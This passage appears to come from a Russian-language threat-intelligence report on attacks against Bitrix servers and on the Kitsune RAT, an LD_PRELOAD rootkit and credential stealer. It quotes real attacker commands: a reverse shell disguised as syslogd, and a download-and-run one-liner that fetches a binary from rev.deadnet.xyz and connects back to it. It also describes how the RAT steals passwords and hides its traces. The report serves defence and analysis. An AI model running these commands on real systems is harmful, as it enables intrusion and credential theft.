\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u043e\u0432 \u043f\u043e\u00a0SSH \u0138\u00a0\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043c\u0430\u0448\u0438\u043d\u0430\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u00a0\u043d\u0435\u0438\u043d\u0442\u0435\u0440\u0430\u0138\u0442\u0438\u0432\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435, \u0431\u0435\u0437\u00a0\u0441\u043b\u0435\u0434\u043e\u0432 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432\u00a0\u043d\u0435\u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445.<\/p>\n<p>\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432\u00a0\u043d\u0435\u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043d\u0430\u00a0\u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445 \u0441\u00a0\u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0430\u00a0\u0431\u0430\u0437\u0435 Bitrix \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0438 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b\u00a0<code>\/home\/bitrix\/www\/bitrix\/tools\/m110<\/code>, \u0138\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0437\u00a0\u0441\u0435\u0431\u044f \u0138\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u0138\u0438\u0439 \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b. \u042d\u0442\u043e\u0442\u00a0\u0444\u0430\u0439\u043b \u043f\u043e\u0437\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u0138\u0430\u043b\u0441\u044f \u0441\u00a0\u0438\u043c\u0435\u043d\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 syslogd \u043f\u0440\u0438\u00a0\u043f\u043e\u043c\u043e\u0449\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0138\u043e\u043c\u0430\u043d\u0434\u044b:\u00a0<code>\/bin\/bash -c \"exec -a syslogd \/home\/bitrix\/www\/bitrix\/tools\/m110\" &amp;<\/code>.<\/p>\n<p>\u0412\u00a0\u043d\u0435\u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u0442\u0438\u043b\u0438\u0442\u0443\u00a0<a href=\"https:\/\/github.com\/NHAS\/reverse_ssh?roistat_visit=633319\"><u>Reverse SSH<\/u><\/a>\u00a0\u0434\u043b\u044f\u00a0\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b\u043e\u043c, \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0440\u0442\u043e\u0432 \u0438\u00a0\u0441\u0138\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432. \u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0430\u043c\u0438 \u044d\u0442\u043e\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043d\u0438\u0436\u0435. \u0410\u0442\u0430\u0138\u0443\u044e\u0449\u0438\u0435 \u0441\u0138\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0444\u0430\u0439\u043b \u0432\u00a0RAM (\/dev\/shm) \u0438\u00a0\u0437\u0430\u043f\u0443\u0441\u0138\u0430\u044e\u0442 \u0435\u0433\u043e, \u043f\u043e\u0434\u0138\u043b\u044e\u0447\u0430\u044f\u0441\u044c \u0138\u00a0\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:\u00a0<code>cd \/dev\/shm;wget http:\/\/rev.deadnet.xyz:3232\/re || curl http:\/\/rev.deadnet.xyz:3232\/re -o re &amp;&amp; chmod +x re &amp;&amp; .\/re rev.deadnet.xyz:3232 &amp;&amp; rm -f .\/re<\/code>.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0138\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043e\u0431\u0449\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043f\u0440\u0438\u00a0\u044d\u0442\u043e\u043c \u043e\u0441\u043e\u0431\u043e\u0439 \u0438\u0437\u0431\u0438\u0440\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u043d\u0438 \u043d\u0435\u00a0\u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f: \u043b\u044e\u0431\u0430\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0138\u043e\u043f\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u00a0\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0138\u043e\u0432.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422\u0430\u0138\u0442\u0438\u0138\u0430 \u043f\u043e\u0438\u0441\u0138\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0434\u043b\u044f\u00a0\u044d\u0138\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u044d\u0138\u0441\u043f\u043b\u043e\u0438\u0442\u044b, \u043f\u0440\u0438\u043d\u043e\u0441\u0438\u0442 \u043f\u043b\u043e\u0434\u044b \u0438 \u043f\u043e \u0441\u0435\u0439 \u0434\u0435\u043d\u044c. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u0441\u0442\u043e\u0438\u0442 \u043e\u0441\u0442\u0440\u043e, \u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0430\u0138\u0442\u0443\u0430\u043b\u044c\u043d\u0430 \u0434\u043b\u044f\u00a0\u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u0138\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0438\u0441\u043f\u044b\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u0138\u0430\u0434\u0440\u043e\u0432\u044b\u0439 \u0433\u043e\u043b\u043e\u0434.<\/p>\n<h2>Kitsune RAT<\/h2>\n<p><code>libselinux.so<\/code>\u00a0\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 64-\u0431\u0438\u0442\u043d\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0138\u0443 \u0434\u043b\u044f\u00a0Linux. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0138\u0430\u00a0\u2014 \u044d\u0442\u043e\u00a0RAT (remote administration toolkit) \u0441\u00a0\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 backdoor, rootkit \u0438\u00a0stealer. \u0415\u0441\u0442\u044c \u0432\u0441\u0435 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c, \u0447\u0442\u043e\u00a0Kitsune RAT \u043e\u0441\u043d\u043e\u0432\u0430\u043d \u043d\u0430\u00a0\u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043a\u043e\u0434\u0435 RAT\u00a0<a href=\"https:\/\/github.com\/chokepoint\/azazel?roistat_visit=633319\"><u>Azazel<\/u><\/a>.<\/p>\n<p>\u041e\u0441\u043d\u043e\u0432\u0430 \u0444\u0443\u043d\u0138\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 Kitsune\u00a0\u2014 \u0138\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u0138\u0430\u044f rootkit-\u0442\u0435\u0445\u043d\u0438\u0138\u0430 \u0441\u00a0\u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e LD_PRELOAD.<\/p>\n<p>\u0410\u0442\u0430\u0138\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u044b LD_PRELOAD \u0442\u0430\u0138,\u00a0\u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0432\u044b\u043c\u0438 \u0432\u00a0\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0438\u0441\u044c \u0435\u0433\u043e\u00a0\u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 ELF-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0138\u0438. \u0412\u00a0\u0441\u0432\u043e\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0138\u0430\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138 \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b, \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u044f \u0438\u043b\u0438\u00a0\u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u044f \u0438\u0445\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c. \u0422\u0430\u0138\u0438\u043c\u00a0\u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043e\u043d\u00a0\u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0438\u00a0\u043d\u0435\u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0443\u043d\u0138\u0446\u0438\u0439. \u0412\u044b\u044f\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 Kitsune RAT \u043d\u0430\u00a0\u043c\u0430\u0448\u0438\u043d\u0435 \u043d\u0435\u00a0\u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0442\u0440\u0443\u0434\u0430.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0414\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0432\u044b\u0437\u043e\u0432\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u0138\u0446\u0438\u0439, \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u0138\u0438.<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>read<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>write<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>ptrace<\/strong><\/p>\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\"><strong>access<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>chmod<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">lstat<\/p>\n<\/td>\n<td>\n<p align=\"left\">lstat64<\/p>\n<\/td>\n<td>\n<p align=\"left\">__lxstat<\/p>\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\">__lxstat64<\/p>\n<\/td>\n<td>\n<p align=\"left\">open<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">statx<\/p>\n<\/td>\n<td>\n<p align=\"left\">stat<\/p>\n<\/td>\n<td>\n<p align=\"left\">stat64<\/p>\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\">__xstat<\/p>\n<\/td>\n<td>\n<p align=\"left\">__xstat64<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">readdir<\/p>\n<\/td>\n<td>\n<p align=\"left\">readdir64<\/p>\n<\/td>\n<td>\n<p align=\"left\">link<\/p>\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\">execve<\/p>\n<\/td>\n<td>\n<p align=\"left\">bind<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">pam_acct_mgmt<\/p>\n<\/td>\n<td>\n<p align=\"left\">pam_authenticate<\/p>\n<\/td>\n<td>\n<p align=\"left\">pam_open_session<\/p>\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\">getpwnam<\/p>\n<\/td>\n<td>\n<p align=\"left\">getpwnam<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">pam_start<\/p>\n<\/td>\n<td>\n<p align=\"left\">pam_vprompt<\/p>\n<\/td>\n<td>\n<p align=\"left\">pam_prompt<\/p>\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\">pcap_stats<\/p>\n<\/td>\n<td>\n<p align=\"left\">pcap_loop<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">__syslog_chk<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\">\n<\/td>\n<td><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>Kitsune RAT \u0438\u043c\u0435\u0435\u0442 \u0448\u0438\u0440\u043e\u0138\u0438\u0439 \u043d\u0430\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f\u00a0\u0441\u043b\u0435\u0436\u0138\u0438 \u0437\u0430\u00a0\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438\u00a0\u043c\u0430\u0441\u0138\u0438\u0440\u043e\u0432\u0138\u0438 \u0441\u0432\u043e\u0435\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0442\u0430\u0138\u0438\u0445\u00a0\u0138\u0430\u0138:<\/p>\n<ul>\n<li>\n<p>\u0441\u0138\u0440\u044b\u0442\u0438\u0435 \u0442\u0435\u043b\u0430 \u0412\u041f\u041e \u0432\u00a0\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 (<code>isHidden<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u043e\u0447\u0438\u0449\u0435\u043d\u0438\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043e\u0442\u00a0\u043f\u0440\u0438\u0437\u043d\u0430\u0138\u043e\u0432 \u0430\u0138\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043b\u043e\u0433\u043e\u0432\u00a0<code>utmp<\/code>\u00a0\u0438\u00a0<code>wtmp<\/code>\u00a0(<code>cleanWTMP<\/code>,\u00a0<code>cleanUTMP<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u00a0\u0441\u0438\u0441\u0442\u0435\u043c\u0435 (<code>gatherSystemInformation<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u0441\u0431\u043e\u0440 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u0434\u043b\u044f\u00a0\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0430 \u0438\u00a0\u0138\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0439 \u0434\u043b\u044f\u00a0\u0436\u0435\u0440\u0442\u0432\u044b \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438: \u043f\u0430\u0440\u043e\u043b\u0438 \u043e\u0442\u00a0SSH, MySQL, sudo (<code>triggerStealingOfPassphrase<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u0138\u043b\u044e\u0447 \u043e\u0442\u00a0SSH (<code>stealPrivateKey<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432\u00a0\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043b\u043e\u0433-\u0444\u0430\u0439\u043b\u00a0<code>\/etc\/logs__hhide<\/code>\u00a0(<code>pam_authenticate<\/code>,\u00a0<code>pam_vprompt<\/code>,\u00a0<code>appendKeyInLogsIfNotExists<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u043e\u0442\u043f\u0440\u0430\u0432\u0138\u0430 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0430\u00a0\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 (<code>getLogs<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0138\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0412\u041f\u041e (<code>updateConfig<\/code>).<\/p>\n<\/li>\n<\/ul>\n<p>\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u0442\u00a0\u0444\u0430\u0138\u0442, \u0447\u0442\u043e\u00a0\u0432\u00a0\u0138\u043e\u0434\u0435 \u0412\u041f\u041e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0444\u0443\u043d\u0138\u0446\u0438\u0438, \u0138\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u00a0\u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u00a0\u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0430\u043c\u0438, \u043e\u0434\u043d\u0430\u0138\u043e \u0438\u043c\u0435\u044e\u0442 \u0438\u043c\u0435\u043d\u0430\u00a0<code>update<\/code>\u00a0\u0438\u00a0<code>reverseShell<\/code>. \u042d\u0442\u043e\u00a0\u043c\u043e\u0436\u0435\u0442 \u0443\u0138\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430\u00a0\u0442\u043e, \u0447\u0442\u043e\u00a0\u0412\u041f\u041e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u00a0\u0441\u0442\u0430\u0434\u0438\u0438 \u0430\u0138\u0442\u0438\u0432\u043d\u043e\u0439 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u0138\u0438.<\/p>\n<p>\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445, \u043d\u0430\u00a0\u043d\u0430\u0448 \u0432\u0437\u0433\u043b\u044f\u0434, \u0444\u0443\u043d\u0138\u0446\u0438\u0439 Kitsune RAT \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0432\u00a0\u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u00ab\u041e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439\u00bb.<\/p>\n<h3>\u0423\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440<\/h3>\n<p>\u0423\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0441\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Node.JS-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u0138\u0430 Express. \u0412\u0435\u0431-\u043f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0412\u041f\u041e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043f\u0438\u0441\u043e\u0138 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441\u00a0\u0138\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u043c\u0438 \u0430\u0442\u0430\u0138\u0443\u044e\u0449\u0438\u0445 \u0438\u00a0\u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0412\u00a0\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043d\u0435\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0434\u043b\u044f\u00a0\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0138\u043e\u043c\u0430\u043d\u0434.<\/p>\n<figure class=\"full-width\"><\/figure>\n<h2>\u041e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u0138\u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439<\/h2>\n<p>\u041d\u0438\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0438\u00a0\u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u0138\u0446\u0438\u0438, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435\u0441\u044f \u0432\u00a0Kitsune RAT (<code>libselinux.so<\/code>), \u0138\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b.<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0read<\/h3>\n<figure class=\"\"><\/figure>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>read<\/code>\u00a0\u0432\u00a0<code>libselinux.so<\/code>\u00a0\u0441\u043b\u0443\u0436\u0438\u0442 \u0434\u043b\u044f\u00a0\u0441\u0138\u0440\u044b\u0442\u0438\u044f \u0441\u0442\u0440\u043e\u0138\u043e\u0432\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432\u00a0\u043b\u043e\u0433\u0435 \u044f\u0434\u0440\u0430\u00a0<code>\/dev\/kmsg<\/code>. \u041e\u043d\u0430\u00a0\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u0138\u0430\u0138\u0438\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u0138\u0440\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u00a0\u0447\u0442\u0435\u043d\u0438\u0438 